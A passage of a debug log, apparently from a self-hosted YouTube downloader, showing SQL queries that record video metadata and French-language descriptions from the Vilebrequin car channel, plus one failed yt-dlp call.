merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "duration" => 1866, "filename" => "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", "id" => "dz-N7JHDWDw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dz-N7JHDWDw", "playlist_index" => 20, "timestamp" => 1687450502, "title" => "Essai Volkswagen PHAETON W12 : Le luxe ultime", "upload_date" => "20230622"} 07:42:11.431 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=946.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:11.433 [debug] QUERY OK source="sources" db=1.6ms idle=948.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.438 [debug] QUERY OK source="media_items" db=4.0ms queue=0.2ms idle=950.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 16:15:02Z], 1] 07:42:11.512 [debug] QUERY OK source="media_items" db=67.4ms idle=955.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "2d73f68d-a23f-40e5-a3d3-bd81f9f6a8c1", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", 20, "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, false, false, 1, [], 98, ~U[2023-06-22 16:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à Oscaro pour leur soutien : Avec le code promo \"Vilebrequin\" obtenez -10% sur l’ensemble du catalogue Oscaro sur les 10 000 premières commandes (valable pendant 1 semaine)\nLien 👉 https://www.oscaro.com/?utm_source=social&utm_campaign=vilebrequin062023\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#vw #phaetonw12 #délire", "Essai Volkswagen PHAETON W12 : Le luxe ultime", "dz-N7JHDWDw", 1866, false, "https://www.youtube.com/watch?v=dz-N7JHDWDw", "/downloads/Vilebrequin/2023-06-22 Essai Volkswagen PHAETON W12 : Le luxe ultime/Essai Volkswagen PHAETON W12 : Le luxe ultime [dz-N7JHDWDw].mkv", false, 1, ~U[2023-06-22 16:15:02Z]] 07:42:11.514 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=216.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.518 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=86.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:11.521 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=87.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 07:42:11.522 [debug] Current batch of media processed. Will check again in 1000ms 07:42:11.566 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/channel/UCC9mlCpyisiIpp9YA9xV-QA --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Vilebrequin/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/71/8b/718b0166c42868970183d9621b9c2c7be6851ca565bc244fce1b6fbce1a465b9.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c1/08/c1080523dd16eb90aead828042d978aa06fffec2470f93050ba3d70a95d631af.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 07:42:11.569 [debug] Gracefully stopping file follower 07:42:11.571 [debug] QUERY OK source="sources" db=0.7ms queue=0.5ms idle=131.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:11.572 [debug] QUERY OK source="sources" db=0.4ms queue=0.4ms idle=65.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.577 [debug] QUERY OK source="media_items" db=3.7ms queue=0.3ms idle=57.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-07 17:15:03Z], 1] 07:42:11.656 [debug] QUERY OK source="media_items" db=77.5ms idle=58.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "ddcf7b94-c081-430a-b282-8595bc2f23df", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", 1, "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, false, false, 1, [], 98, ~U[2023-12-07 17:15:03Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, 1, ~U[2023-12-07 17:15:03Z]] 07:42:11.658 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=135.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.664 [debug] QUERY OK source="media_items" db=5.4ms queue=0.2ms idle=88.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-30 17:15:01Z], 1] 07:42:11.699 [debug] QUERY OK source="media_items" db=32.9ms idle=93.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "8f631f60-ead3-46f6-85eb-8f253d528c38", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", 2, "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, false, false, 1, [], 98, ~U[2023-11-30 17:15:01Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, 1, ~U[2023-11-30 17:15:01Z]] 07:42:11.701 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=123.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.708 [debug] QUERY OK source="media_items" db=6.5ms queue=0.2ms idle=46.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-23 17:15:02Z], 1] 07:42:11.714 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=51.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "31add229-12b6-4b16-9eb3-e29dd583b9ab", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", 3, "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, false, false, 1, [], 98, ~U[2023-11-23 17:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez 